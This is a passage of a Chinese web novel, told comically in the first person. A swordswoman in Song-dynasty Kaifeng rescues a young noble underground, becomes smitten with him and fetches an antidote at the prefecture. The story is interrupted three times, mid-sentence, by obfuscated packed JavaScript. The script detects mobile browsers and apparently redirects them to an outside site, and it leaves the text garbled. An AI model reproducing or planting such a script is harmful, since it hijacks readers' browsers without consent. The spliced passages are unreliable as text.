杀着杀着我感觉有点不太对,这帮玄元教会隐身,还会放一种飘浮在半空发光的奇怪物品。我把那个奇怪飞天盘子射下来之后还拿在手里观察了一下,踢踢地上半死不活的玄元教教徒,问:“这是你们研发的无人机?” 玄元教教徒不语,只是一味停止呼吸。 不行,不能把这帮人斩草除根,得留点活口,让他们说出无人机的秘密。 要是真的能开发出无人机,我大宋就天下无敌辣! 我杀光了玄元教,这帮人嘴硬得很,要不说不知道什么是无人机,要么就是满口“紫微星!紫微星!”。我骂骂咧咧地把一个玄元教往旁边踢,说:“什么紫微星紫微星,现在只有国足缺紫微星,再说什么紫微星我就鉴定你们是在炒作!” 哦,不对,大宋的蹴鞠紫微星再过几十年好像确实要降世了。 你说对吧,高俅高太师? 玄元教教徒中,我扒拉出一个进气多出气少的道长。道长抓着我的袖子求我去救救他家公子,说他家公子被绑架到了地下。我拍着胸脯担保会帮忙,然后就看着道长翻着白眼倒下了。 不得不说,这回玄元教真是倾巢出动,一路上我就看到路边倒着不少官兵,我下了地道之后也是杀了一路,感觉这玄元教的密度都比得上无忧洞里头的鬼娘子了。区别在于鬼娘子手头没有无人机,只是一味地砍我。 掰动机关,我坐着太岳台的石梯到了地下(大宋的科技发展水平至今是个谜)。在密室里搜刮了一番宝箱之后,我终于记起这回是来救人的,开始翻箱倒柜找开门线索。 说实话,从清河到开封,不少密室都搞了一堆文绉绉的什么线索解密,这对我这个半文盲很不友好!动不动给我来个五行八卦,是不是玩不起?能不能考点九年义务制教育教学大纲里有的玩意儿? 我哼哼唧唧地通过穷举法解开机关,又坐着仿佛永远没有尽头的石梯下楼(再次感慨,大宋的科技发展水平真的非常诡异)。每下一层就又遇到几个玄元教,还得杀一遍,杀到包里多了几瓶松节膏就又继续下。 最后,我终于下到了最底层。 穿过漫长幽静的甬道,我来到一扇半开的石门前。 进门前我谨慎地贴着门往里先探了探。之前我吃过亏,有些阴险的敌人会躲在门后,等我出来了就进行卑鄙的偷袭。虽然这些敌人最后也都变成了我包里的材料,但这种恶心的经历让我感觉非常难受! 石门后是一片空旷幽蓝的空间,天花板上星辰萦绕,大殿中没见到玄元教的影子,只在祭坛正中心半跪着一个白衣的人影,看着似是有些眼熟。 我眯起双眼,穿过石门向前,慢慢靠近那白衣人影。 脚步声在石室内回响,在我跨过圆形阵法,即将抵达有光亮的九曜灯时,白衣人突然抬头,对我投来错愕的一瞥。 “小心!!!” 变故骤生。 九曜灯猛然炸开,玄元教教徒们从虚空中闪出,向我亮出弯刀。祭坛正中,白衣郎君嘶声大喊,而我也在爆炸闪光的那一瞬隐约看清了他的样子。 他好像…… 好像是那个…… 是升平桥的那个小帅哥!!! 那一瞬,我心荡神驰,头脑中同时冒出了三个想法: 太好了,山水有相逢,我和小帅哥有缘!他担心我,他心里有我! 等等,刚才这帮玄元教是不是偷袭了我来着? 可恶,这帮玄元教竟然在小帅哥面前偷袭我,让我出丑! 一种孔雀开屏的雄心和勇气自我胸膛中涌出,我奋然振剑,摆出我自认为最帅气的姿态,凛然高声道: “别怕,我来救你!” 玄元教,受死吧!!! 玄元教教徒一拥而上,邪笑着说我今天没看黄历。砍完五个又出来两个,砍完这两个又冒出一个什么曜主,我奋力砍杀,心里狂翻白眼:没完没了了是吧?! 这要在平时,我早就开骂了! 不行,不能在小帅哥面前犯精神病。 我的人设是正义的大侠,是乔峰那样的人! 以往打架我是不怎么介意被这种杂兵砍上几下的,因为有闪避的功夫我早就把他们砍死了。可今天我格外注意战斗姿态,玄元教袭来我就翩然躲闪,抓住时机果断卸势,一招一式漂亮狠辣,一路转着打到小帅哥身边,终于将最后一个玄元教曜主斩于剑下。 芜,帅! 将剑归入鞘,我来到白衣青年身前,蹲下柔声问:“公子,你还好吗?” 白衣青年身体微微一颤,他稍抬起头,并没有直视我,只是虚弱地问:“你是?” 我咳嗽一声,夹出我最阳光开朗的声线,凛然道:“在下洛斐逸,清河人士。近来路经开封,为帮助百姓就多驻留了几日。刚才遇到公子的家臣,得知公子受困于地下,遂来解救!公子莫怕!遇到我就安全了!遇到我就有救了!遇到我就什么都不用担心了!来,我送你回去!” 这一番话说完,我都想给自己鼓掌。 非常好!非常正义!非常可靠! 白衣青年声音微弱地答:“在下晋中原……不,我还不能走,紫微星劫还没破。” 紫微星? 怎么又是紫微星,怎么哪里都是紫微星?你们大宋人这么信这个? 我想了想,从包裹里翻了翻,把昨天从太一宫拿到的那块玉佩拿出来,试探性地递给晋中原:“这块玉佩是你的吗?” 晋中原扫了一眼玉佩,轻轻叹了口气:“是……咳,咳咳……是的。正是我丢失的玉佩,想必是被玄元教……咳咳……拿去行什么……” 他又咳又喘,听得我都有点心疼了:“你现在身体不好,现在我们在几百米地下,说不定氧气都不充足,万一你有个三长两短……这个紫微星劫究竟是什么东西啊,一定要破吗?” 晋中原却微微别过头去:“抱歉……我,不能说。” 好吧,越美丽的男人秘密越多,这下我是明白了。 晋中原又是一阵剧烈咳嗽,喘得厉害。我叹了口气,好人做到底,决定帮他把这个紫微星劫破了再走。 好消息:破劫不需要什么专业知识,只需要开房间。 坏消息:开房间的机关也是八卦图。 我和你们这帮道士拼了!!! 我沉着脸准备去解密,掰机关前,我摸摸身上,从包裹里开始往外拿东西。 “这是披风,你可以垫在地上,感觉特别难受的话就坐一会儿或者躺一会儿。”我把自己的四次元口袋里的杂物零零碎碎地掏给他,“这是红线给我做的白鹅小挎包,用鹅毛做的,很软,你要是不舒服可以捏一捏或者摸一摸,反正我感觉不舒服的时候就摸一摸,心里会有安慰。” 晋中原微微抬头看我,我没注意到,继续往外掏东西。 “这是糖糕,升平桥买的,事先声明只是因为升平桥地理区位比较好所以我经常路过,不是因为……呃……反正你要是觉得饿了或者低血糖了就吃吧!” “对了,这里是牛乳,你要是口渴就喝。顺便一提,牛乳也有解毒的功效!你被玄元教暗算,说不定就中了什么毒,喝点会有帮助。我前几天被狗官下了毒,这几天天天都在喝牛乳,你看我现在身轻如燕行动自如刚猛,说明牛乳有用!” 晋中原愣愣地单手抱住我塞给他的零碎,微光下,我和他对上一眼。他的脸莹白生光,鼻梁挺拔,眉眼给我一种熟悉之感,仿佛曾经在哪儿见过。 下一瞬,我就见那双微挑含情的眼睛向我弯了一下,露出浅浅的笑意。 “如此……多谢少侠。” 我绷住脸,把内心骤然尖叫的精神病狂乱呐喊憋回去,装作淡然地点点头:“这是我该做的,因为我就是这样正义的人。好了,我要去解密了,公子稍待。” 我太帅了!!! 晋中原也非常帅!!! 我的天,他真的好帅!当初赶路的时候在升平桥的惊鸿一瞥看到他的侧脸和背影已经很帅了,没想到小吃摊的店主没骗我,他的正脸也非常很帅! 桀桀桀桀,等破了紫微星劫,公子必当以身相许,桀桀桀桀…… 我一边转动机关,一边偷偷摸摸地流口水。 只是,为啥总觉得这晋中原有点眼熟呢? 不,不是那种以前我在哪里见过他的眼熟,而是这人以前我和他一定打过交道的那种眼熟。 第一道门轰然而开,我嘱咐晋中原在原地稍等,我快去快回。 他微微喘着气,温柔地说:“少侠有成算便好。” 我差点脸红,飞身就向第一道门内猛冲。 门内又是璇玑八卦台,又要转机关。这回离晋中原比较远,我可以尽情暴露精神病本性,骂骂咧咧地转,转完之后三清雕像手中灵珠光芒亮起,幻觉骤生。 幻觉中,我看到晋中原护在一人身前,撕心裂肺道: “滚!都给我滚!!!” “忘恩负义的狗东西!!!” 我呆立片刻,忽然感觉自己觉醒了什么不得了的癖好。 怎么晋中原骂人都这么带劲……完了,会上瘾……公子,骂骂我的……嘻嘻…… 幻觉是晋中原的心魔,心魔中,十年前晋中原所救的灾民成了中山狼,掉头对晋中原反咬一口。心魔轻声问:“阿原,你可后悔救了他?” 我站在一旁嘿嘿傻笑:“阿原……阿原……” 幻觉凝固住了,半天没什么反应,我有点疑惑,只听心魔又重复了一遍:“阿原,你可后悔救了他?” “你问阿原?”我指指晋中原的影子,“要我回去再问他一下吗?” “……问的是你。” 我一愣:“还有我的事?我也能回答?哦,这,如果是我的话,做过的事就不会后悔,毕竟后悔也没用,反而加重内耗嘛。” 晋中原的声音在我选择后低声响起: “既做了,谈何后悔。” 幻觉消失,我取得灵珠,向外走的时候总感觉不太对劲。 晋中原压低声音说话的时候,怎么听起来总让我感觉有点烦躁,好像我有个很讨厌的人也是用这种声线和语气在讲话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103044|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我拿着灵珠回去找晋中原,他已经铺开我给的披风坐在地上了,正运功抵御。只是他看起来状态更差,喃喃念着“住手”。 真是好娇弱的一个公子……别怕,我来救你! 第二个锦囊和第三个锦囊都差不多,都要解密开门,面对幻觉,拿取灵珠。在我解读锦囊准备离去开门时,晋中原强忍不适,还轻声对我说:“有劳少侠。” 太有礼貌了,你这样我真的…… 我抿起嘴,微微叹了口气,总觉得今天晋中原在渡紫微星劫,我在渡情劫。 决定了!等我俩一起安全回到地上,我要和晋中原交换联系方式! 第二个房间中,我见到了幼年期的小阿原。小阿原头上还别着片红叶,看起来可爱又可怜。 “哥哥,他们是坏人啊!你能打过他们,可别人呢?你就这么放过他们,万一他们欺负了别人……” 晋中原的哥哥是个看不清脸的虚影,同样,心魔提出了问题:“替好人执刀的恶人,和劝恶人放下屠刀的好人,你要做哪一个?” 我毫不犹豫:“我要做恶人。” 我都精神病了,我哪点像个好人? 昨天我还拿剑威胁下一届皇帝,谁敢说我是好人,赵光义第一个毒死他。 归还第二枚灵珠时,晋中原正在梦魇。 他颤抖着,推拒着:“哥哥……哥哥……不能……!” 他面白如纸,我蹲下,轻轻搂住他的肩膀,试图抚摸他的后背。晋中原浑身一抖,立即向远离我的方向挪去,向我投来警惕恐惧的目光。 我有些尴尬无措,晋中原用力闭了闭眼,竭力恢复镇静:“抱……抱歉,少侠。你不必如此,不必顾虑我,快些去破劫吧。” 我叹了口气,加快脚步进入第三个房间。 这一回,心魔的剑指向了晋中原的哥哥。 “伪善。”我听见他说,“紫微星,举起刀,杀了他……” 我看向晋中原,紫微星,他的刀举起又落下,而我来到虚影之前,歪着脑袋去辨认颓然而坐的“哥哥”。 这人看着也眼熟啊…… 今天这是怎么了,我怎么看谁都眼熟,开封大舞台都用同一个NPC建模? “别杀你哥。”我说,“杀意是一种很充沛的东西,我每天都想杀人,但人死了就死了,这是无可挽回的。虽然我一个精神病这么劝你也不太好……” 幻觉消散,拿起灵珠,这回,我在外面的祭坛上看到了生龙活虎的晋中原。 他已然起身,双眼赤红,持着长剑面向我,完全被心魔夺去了神志。 完蛋,这是要我打他?! 我下手很重的,万一给他打坏了怎么办!我还想和他过过情关呢!!! 唉,不打不行,我尽量轻点,不打要害。 晋中原的心魔看着很猛,但血条很短。我昨天刚暴揍过黑财神,今天手感火热,三下五除二就给刚才说话都喘的小公子打趴下了。 我有的是力气和手段! 昏厥前,晋中原还在念叨他的“救天下”。我心想紫微星不愧是紫微星,思想境界和觉悟就是不一样,人都快背过气去了还想救天下。 我接住他,护住他的脑袋,他的双眼还带着些赤红,我将手盖上他的脸,轻声说:“天下是由人组成的,想要救天下,就要从身边的一个一个人救起。要是只想着杀,何来救?岂不是本末倒置?” 掌心有些痒,似乎是晋中原的睫毛在颤动。过了一会儿,他的呼吸平稳,我扶着他躺平,而我坐到一旁,从包袱里扒拉出糖糕,就着牛乳开始吃。 打了几架都给我整饿了。 吃完糖糕,晋中原醒了。他迅速起身,面对我,我感觉他有点不自在,但很快他就调整好表情,相当诚挚地向我表达了谢意。 “没有少侠,今天恐怕不能善了。少侠想要什么谢礼?” 我本来想摆摆手说行侠仗义不为荣华富贵,但转念又想,不对啊,我要是这么拍拍屁股走了,万一以后再也遇不到晋中原咋办? 不行,得找个由头以后和他继续联系! “那,那就多给点钱吧。”我讪笑道,“我刚来开封,到现在也没落脚的地方,但是房子租金又贵……” 晋中原失笑:“在下的玉佩在少侠手中,少侠可以以此为凭,去开封府找孙老,定能得到报酬。” 哦,哦哦,意思就是说,我在太一宫找到那个玉佩他就送我了呗? 嘿嘿,嘿嘿……挺好…… “开封府?” 我突然捕捉到了要点,晋中原的神情微微一僵,似乎是在等待我接下来的反应。 “完了,开封府!” 我原地跳了起来,攥着拳头捶捶胸口:“我今天要去开封府领解药!啊呀,现在这都什么时辰了,开封府下没下班啊?要是错过时间了狗官会不会不给解药———” 晋中原温柔地询问:“怎么了,少侠?” “我,我前几日……就是,我和人约好今天去开封府……”我说着说着皱起脸,“唉,无所谓,算了。” 晋中原微微皱眉:“少侠可是因为我耽误了要事?我听少侠说什么解药……少侠可是中了毒?要紧么?” “没事,你的命也很重要,没什么耽误不耽误的。”我对晋中原故作轻松地笑了笑,“今天不去我就明天去嘛!” 晋中原也对着我笑,浅蓝的光下,他的眉眼含情,让我看着只觉心跳加速。 “我还有个问题。”我有些扭捏道,“我能叫你,阿原,吗?” 晋中原柔声说:“自是可以。” 我克制住扭曲放纵的笑,继续问:“那,之后要是偶遇阿原,我会来和阿原打招呼,你不会不理我吧?” 晋中原笑得越发自然:“当然不会。” 我感觉自己的虚拟尾巴快摇断了,咬咬舌头尖才让自己不笑得太傻:“好!那,我送你出去。” “我还有些思绪想要理一理。在下身体已经恢复,不劳少侠护送。” 晋中原抬起双手,向我轻轻一拱:“少侠,保重。” 我回以一礼:“保重。” 离开地宫时,我一步三回头。晋中原就立在那莹蓝的星空天幕下对着我微笑,就像画中人。 我要是现在把他绑架了,开封府不会通缉我吧? 他也太好看了! 7. 第 7 章 “我凑近了想拍拍他的背,就闻到他身上一股香味,哇……真的,好香啊,我从来没有在男人身上闻到这种味道。这种香味和寒姨还有盈盈身上的香味也都不一样,他的香味是那种,真的是那种,让人感觉可以直接凭着嗅觉跟着他走的……” 我讲得眉飞色舞手舞足蹈,福禄寿姐妹坐在对面,三张小脸露出一模一样的“这人没救了”表情。 “我从没见过他那样的翩翩公子。”我捧住脸,已经沉醉在昨日的艳遇中,“他的脸又白又好看,说话温柔有礼貌,就连心魔抽人的力度都恰到好处……” 小福一指我:“见识到了吗,阿禄阿寿,人一旦坠入爱河就会变傻。” 小寿看起来有点茫然,小禄倒是劝了我几句:“少侠,这种有钱人家的公子哥可会骗人了,你千万要小心。” 我摆摆手:“知道知道,放心,我自有决断!” 阿原那么温柔,他怎么会骗我呢?他连心魔都被我看光光了! 就算他真的是骗子,那我也正好将他绳之以法,用一番行动让他痛改前非,重新做人! 盈盈推着龟奶奶去换唐钱了,我有些遗憾没能和好姐妹分享自己的艳遇经历。正好福禄寿三姐妹跑来玩,我略去了紫微星劫之类我自己都没搞懂的事,简单把我和晋中原的相遇经过讲了讲。看她们三个的表情,我觉得她们体会不到此刻我的快乐。 没关系,宝宝们,你们还小呢。 大人的快乐你们现在还体会不到! 我仔细梳了梳头发,本来还想穿红衣,但转念我想起自己在清河的“赤衣女鬼”名声,赶紧换了一身天蓝的劲装。 不行不行,千万不能让晋中原知道我有精神病,必须要杜绝一切联想的可能! 捯饬好外表,我怀着激动的心情几个大轻功飞至升平桥。 此刻正是辰时,小吃摊的固定座位上果然已经有我熟悉的人影。我飞奔过去,心跳得飞快,又强忍激动放缓脚步,装作偶遇来到方桌侧面,笑着招呼: “阿原,早啊!” 今日天气晴,阳光正好。晋中原如玉的侧脸被晨光映照得温润发亮,他偏头来看我,上挑的凤眼就弯起来,露出温柔的浅笑:“偶遇少侠,真巧。” 嘿嘿,不是偶遇,但这一点就不用让他知道了,衬得我像个变态一样。 我蹭到晋中原旁边的长凳上坐下,店家见了我,又看看晋中原,嘴角一歪就是窃笑:“哇,少侠,今日你可算——” “咳,来碗胡辣汤,再来份油馍头!”我即刻打断店家的爆料,“阿原你点过了吗?” 晋中原笑着说:“点过了。方才店家说‘可算’什么?” 我胡言乱语就是编:“他说我可算是正时正点吃上早饭了。我之前忙,有时候顾不上吃早点,不吃早点对身体不好!” 晋中原没有深究,他双臂撑在条凳上,侧头平视着我,双眼亮晶晶的,看得我心里发烧。 “昨日回去之后,阿原感觉怎么样?身体有什么不舒服的地方?” “托少侠的福,紫微星劫已破,在下没有什么不适。” 晋中原说话的时候端庄平和,无端就让人觉得安心可靠。我光是见到他、听到他的声音就忍不住微笑,只能移开视线,对着桌子猛盯。 “少侠感觉可好?昨日少侠提及中毒一事,有没有及时去开封府领解药?” 晋中原言语间都是关切,我瞟他一眼,抿着嘴,有些不太好意思:“没有,回城之后我顺手打了几个无忧帮,治了一个脱臼,又去逮了几个蹊跷,再一看时间已经接近亥时。都那么晚了,我怕进开封府之后被赵老二打出去。” 晋中原的表情稍有凝滞:“赵……老……二……?” 见他似是接受不能,我赶紧改口:“大不敬大不敬,我说错了,是府尹大人,晋王殿下,赵青天!” 晋中原欲言又止:“你和他……” 我绷着脸,摆出一副凛然的样子:“我和他?我和府尹大人什么事都没有!我很尊敬府尹大人的,我还给他编了首歌呢。你听!” “开封有个,赵青天!玉面无私,辨忠奸~江湖豪杰来相助——毒药和官威,在身边!” 噔噔噔噔噔,七侠五义流传在民间! 唱完之后,我看到晋中原无力地闭了闭眼睛,似乎是对生活失去了希望。 “少侠真是才华横溢。”他干巴巴地说,“去找孙老领报酬的时候,少侠或许可以当着府尹大人的面唱一唱这首歌,说不定还能另得些赏赐。” 我:“你觉得赵老二听到之后会高兴吗?” 晋中原:“不试试怎么知道?” 我缩起脖子:“算了,算了。开封府有御赐三铡,万一他听了之后暴怒,把我按到狗头铡那儿铡了又铡,我的大好头颅就和陈世美一样交代了。” 晋中原好奇:“御赐三铡是什么,我从未听说。” 店家端上我们的早餐,我把陶碗扒拉过来,拿起筷子,兴致勃勃地就开始讲:“传言道!当今圣上是铁拳无敌超人官家,一拳开天地,两拳却敌兵,三拳打得八百军州嗷嗷叫唤,创了这大宋基业!打江山之后就是守江山,于是超人官家亲自点兵,叫了他的玉面好弟弟晋王赵光义做这开封府尹,统领开封府衙刑狱官司。” 晋中原单手支着头,双眼含着一丝笑,就这么静静看着我,侧耳细听。 “那晋王赵光义,我有幸见过两回,哇,真可谓是一袭紫袍,气派非凡,容貌端正,官威非常大,开口说话也是非常气人。但这些都不重要,重要的是,赵光义领了官家圣旨,誓要为官家守护开封黎民百姓,官家就御赐给他三口大铡刀!” 说到这儿,我威风凛凛地伸出三根手指: “一是龙头铡!上可铡皇亲国戚,龙子凤孙!” “二是虎头铡!中可铡佞幸小人,贪官奸臣!” “三是狗头铡!下可铡流氓恶霸,土豪劣绅!” 收起手指,我放下筷子,单手叉腰:“见到大铡,便如圣上亲临!被御赐铡刀铡死就约等于圣上来用大铁拳打死!等等被超人官家一拳打死和被铡死究竟哪个死法好点……不管了,总之!有了这三口御赐大铡,赵光义就可以先斩后奏,铡了再说!” “除了这三口铡刀,赵光义的另一个手段就是下毒!传闻他是无心谷传人,一手牵机药秘毒使得出神入化。咦这是什么?贪官污吏,毒一下。咦这是什么?契丹人,毒一下。咦这是什么?李煜,毒一下。咦这是什么?小嘴叭叭的好少侠,毒一下……” 晋中原喷笑出声。 “咳,咳咳。总之,赵光义就是这样一个迷人又危险的正派角色。话说某天,一民妇曰秦香莲敲响登闻鼓……” 我七拉八扯,把《铡美案》改头换面说了一通。故事里的黑脸包青天被换成了玉面赵光义,而红衣展昭嘛,嘿嘿,这么好的人设,我就偷偷摸摸送给了自己。 “那红衣少侠一亮相,真可谓是少年英豪!一手长剑,无名剑法出神入化,将陈世美收买的官差统统斩于马下!话说红衣少侠救了秦香莲,回到开封府,将路上情形禀报之后,府尹大人气得火冒三丈,官威一起一伏——” 晋中原打断我,好奇地问:“官威是什么?” 我:“官威就是官威啊,官威是府尹大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103045|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的珍宝。赵光义这一生要保护的三样东西,一是大宋的江山,二是手中的毒药,三是胸前的官威……” 晋中原又露出那淡淡的仿佛已经死了有一会儿的眼神。 我说得口干,喝了半碗胡辣汤之后,我就哼哼着唱《铡美案》的选段:“驸马爷近前看端详,上写着秦香莲三十二岁状告当朝驸马郎,欺君王瞒皇上,悔婚男儿招东床……” “你对府尹大人的态度倒是奇怪。”晋中原拨了拨他碗中的面,低头问,“对他多有调侃 ,却又编了个正面的故事安到他头上。你究竟是厌烦他,还是……?” 我咬了口油馍头,想了想,说:“还好?我和他没什么深仇大恨,他也不是什么坏人,我不至于特别恨他。” 我偏头去看晋中原,发现他正在端详我的神色。触及我的目光,晋中原没有笑,只是稍眯了一下眼睛。 “我说,阿原,你应该认识赵光义,对吧?” 晋中原平静地反问:“少侠何出此言?” “你是紫微星,我虽然是个半文盲,也知道紫微星是帝星。你打扮得漂亮,皮肤这么白,家中还有下臣,出身必然不凡。再加上你让我去开封府领报酬,我就猜,你或许和开封府有关联。” 晋中原嘴角微微含起一丝笑:“我的确在开封府任职。” “哇,原来赵光义是你领导!”我理解了,“放心啦,我知道你有顾虑,作为你的朋友,我不会让你难做的。” 晋中原的笑容变作苦笑:“如此,那还是要多谢少侠。” 我打量晋中原的眼神多了点同情,唉,赵老二一看就心眼不大,阿原给他干活估计天天受气。 以后给阿原搜罗点疏肝解郁的药吧! 欢声笑语吃完饭,我和晋中原就要作别了。 临行前,他忽然从方桌边拿出一方青色纸鸢。 “昨日回城路上见到街边售卖纸鸢,兴起而至,买了一只赠予少侠。还望少侠不要嫌弃。” 纸鸢有些大,盖住了晋中原的下半张脸,露出一双微挑含笑的眼睛。我望着那双眼睛,再一次感觉自己好像真的要栽了。 “……阿原是想和我一起放纸鸢吗?” 晋中原抿嘴一笑:“若是天公作美,少侠相邀,自是可以。” 我双手接过纸鸢,心和脸都发烫:“我会好好保管的,那,我就等着以后有机会和阿原一起踏青放纸鸢了。” 转身走后,我几个纵跃离开升平桥,找到一处民居拐角,我抱着纸鸢就开始蠕动怪叫。 “啊哈哈哈哈嘻嘻嘻嘻嘻呱呀呀呀呀呀!!!!” 张安康系着围裙拿着锅铲吓得从食肆里跑出来,看着我阴暗爬行,目瞪口呆:“少,少侠,你这是在做什么?” “你看!!!” 我举着纸鸢亮给他:“你看!!!” 张安康无措:“我看到了,看到了。” “这是我心上人送我的纸鸢!!!”我大声说,“我心上人送的!我心上人送的!” 张安康:………… 说完,我把纸鸢背到背上,几番固定调整,然后转过来让张安康欣赏:“好不好看?” 张安康:“好看,好看。” 我双手叉腰,爽得头皮发麻:“我现在就去开封府找赵老二领解药,炫耀我的纸鸢!哼,绝命毒师能有这么好的心上人送他纸鸢吗?没有啦,没有!嘻嘻嘻嘻!” 张安康愣愣地看我踩着屋顶飞走,刘娴从厨房探头出来,问:“刚才那是谁?我好像听见少侠的声音,是少侠吗?” 张安康挠挠脑袋:“啊,没什么事,少侠这是坠入爱河了。” 8. 第 8 章 自从进入开封以来,我就没往开封府附近去过。 主要是因为我心虚。 家人们,谁懂啊?刚来开封我就在角门里对无忧帮和官兵大打出手,前几天更是剑指赵光义,嘴上不饶人给他气个半死,万一他偷偷摸摸给我画悬赏上了,让开封府见到我就揍我一顿怎么办? 虽然我是无敌少侠,但双拳难敌四手,我不想在开封做通缉犯,躲躲藏藏的连澡堂子都去不了哇! 在开封府附近的界碑露了个头,我偷感很重地向开封府龟速靠近。后来发现街边路人因为我的鬼祟反而加以瞩目之后,我只能挺直腰背,假装正常,实则同手同脚地进了开封府。 开封府府衙比电视剧里要更宽阔威严,我没敢进大堂,一个纵跃跳到了屋顶上,沿着屋顶向后疾行。落到厨房之后,果不其然又有纠纷,我莫名其妙地上厨房就炒了俩菜,做了道神仙酿鱼。 你们开封人也太会使唤人了! 我的神仙酿鱼也不是白做的,托我教育厌学儿子的捕快告诉我上哪儿找孙老。他说孙老一般待在潜龙殿,平日里负责管账,和领钱倒也对得上。 我皱起眉:“潜龙殿是啥地方啊?怎么听着有点吓人呢?” 捕快露出一副“哇,乡巴佬!”的神情。 对啊,我清河来的,我就是乡巴佬! 他说潜龙殿是开封府尹居住的地方,寻常人等进不了。但既然府尹大人金口玉言要我去找他领解药(至少我是这么理解的),想来通行应该不成问题。 想到这儿,我就准备自信出行了。临走前埋头苦吃的黄家小孩问我为什么背上背着纸鸢,我立马来了精神,大声道:“这是我心上人送我的,好看吗?!” 黄家小孩和黄捕快都一愣,呆呆地看我。 我知道,你们都是羡慕! 羡慕不来的知道吧,因为这个世界上只有一个阿原! 我昂首阔步地走出厨房,走向潜龙殿。 潜龙殿正门口果然有守卫,我大步向前,睨他们一眼,面上不显,但心里有点心虚。这些守卫看着好像也有点紧张,在我通过大门的那一刹,我看到其中一个守卫的手从刀上放了下去。 哎,真不拦我啊? 那我真进去啦! 我一溜小跑进了潜龙殿,穿过“肃静”的红牌,绿意盎然的前庭,最后就进了潜龙殿的正殿宅邸。 “孙老——孙老在吗——” 一处小书房中,白发老者探出头,有些愕然地看向我。 我嘻嘻笑着走向孙老,随手行了个礼,然后掏出玉佩,大大方方地说:“晋中原让我来取报酬!” 孙老看起来吓了一跳:“晋公子?!他,他又在外面托你办事?唉,这……” 我也是愣了:“又?他经常在外面托人办事吗?” “不,这倒……最近应该只有你……”孙老支吾了几下,“既然公子把玉佩交予你,说明他对你信任有加。你——” 我挺胸抬头,自信发言:“那当然了!他还送我纸鸢呢!看到了吗,我背上的纸鸢?阿原送的!” 孙老:“……谁问你了?” 孙老憋住一些激进的发言,劝我改选晋中原的“秘密”。我一听“秘密”两个字就浑身痒痒,毫不犹豫地就领了一本小薄册子,打算找个僻静无人的地方偷偷看。 “对了,还有一事。”我说,“赵光——府尹大人要我来领解药,他之前给我下了七日断魂丸,马上就要到七日了,我跟他说过,再不给我解药我就天天在他房顶唱歌。” 孙老:………… 孙老叹了声气,引我走向正殿:“原来少侠就是府尹大人等的人。昨夜府尹大人睡得晚,说可能有人要来取解药,不料快到子时都没人来。于是府尹大人将药放在了此处,少侠且看。” 赵光义? 等我? 我掏掏耳朵,又拍拍脸,生怕自己是精神病发作出现了幻听。 “那多不好意思……不是,不对,是他给我下的毒,我有什么不好意思的!” 我拿起解药,看了一眼药丸的形状。和毒药不同,解药的丸子比较小,至少不会出现干噎不下去的情况了。我立马吞下药丸,不知道是不是心理作用,总感觉吃完之后精神焕发,益气补血,神清目明。 孙老觑着我的神色,小心地说:“只是……府尹大人吩咐过,完全去除毒性需要时日,少侠还得多跑几趟,每次服用一粒,待一个疗程服完,才能算是完全解毒。” “啊?啧……行吧,不就是多来几趟嘛。”我叹了口气,“就是希望之后来的时候别碰到赵老二……咳,你们府尹大人平时都什么时候在家?” 孙老假装没听到我叫“赵老二”,说:“时辰不定,有时府尹大人终日都不在,有时府尹大人休沐,整日都在。” 好吧! 见孙老打太极不肯给个准话,我也不为难老人家,和他打了声招呼就走了出去。 吃了解毒丸,我感觉天蓝了水清了世界明亮了大宋也有希望了,溜溜达达来到百工坊,结果就正碰上个熟人。 “跟俺念:信球——” “信球——” “赵大哥!” 我喜滋滋地跑进百工坊的店铺,赵大哥拍拍手上的石灰,乐呵呵地转向我:“小妮儿!” “赵大哥你在做什么呢?”我好奇地看看他身后的大木板子和石灰块,问,“你在教书吗?” “对嘞,百工坊这块儿有不少外地来开封的工匠,为了帮他们尽快找着工作,我在教他们开封官话呢。”赵大哥上下扫了我几眼,“你这几日上哪儿玩去啦?” “我昨天去了浮戏山,救了个人!”我乐得在赵大哥身边直打转,“赵大哥,你看,你看我的纸鸢!” 赵大哥看了一眼我背上的纸鸢,恍然:“你想去放纸鸢?” “这是我心上人送的!”我响亮地回答,“昨日我在浮戏山救了一个落难的公子,他竟然就是升平桥上那个长得可俊俏可俊俏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103046|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小帅哥。赵大哥,我同你说,我终于看到他正面的脸了,长得果然是十分俊俏,特别俊俏!” 我对着赵大哥“叭叭”地夸了半天晋中原,从他白净温柔有礼貌夸到他身带异香,赵大哥听得一愣一愣的,最后他挠挠头,说:“妮儿,这世上真有这么好的男人?” “怎么没有!阿原就是!”我振振有词,“他唯一的短板应该是武功不太行。不过没关系,我武功高强就够了!我会保护他!就像超人官家用他的无敌铁拳守护大宋一样!” 赵大哥:………… 赵大哥干笑两声:“那,你还想认识俺弟弟吗?” 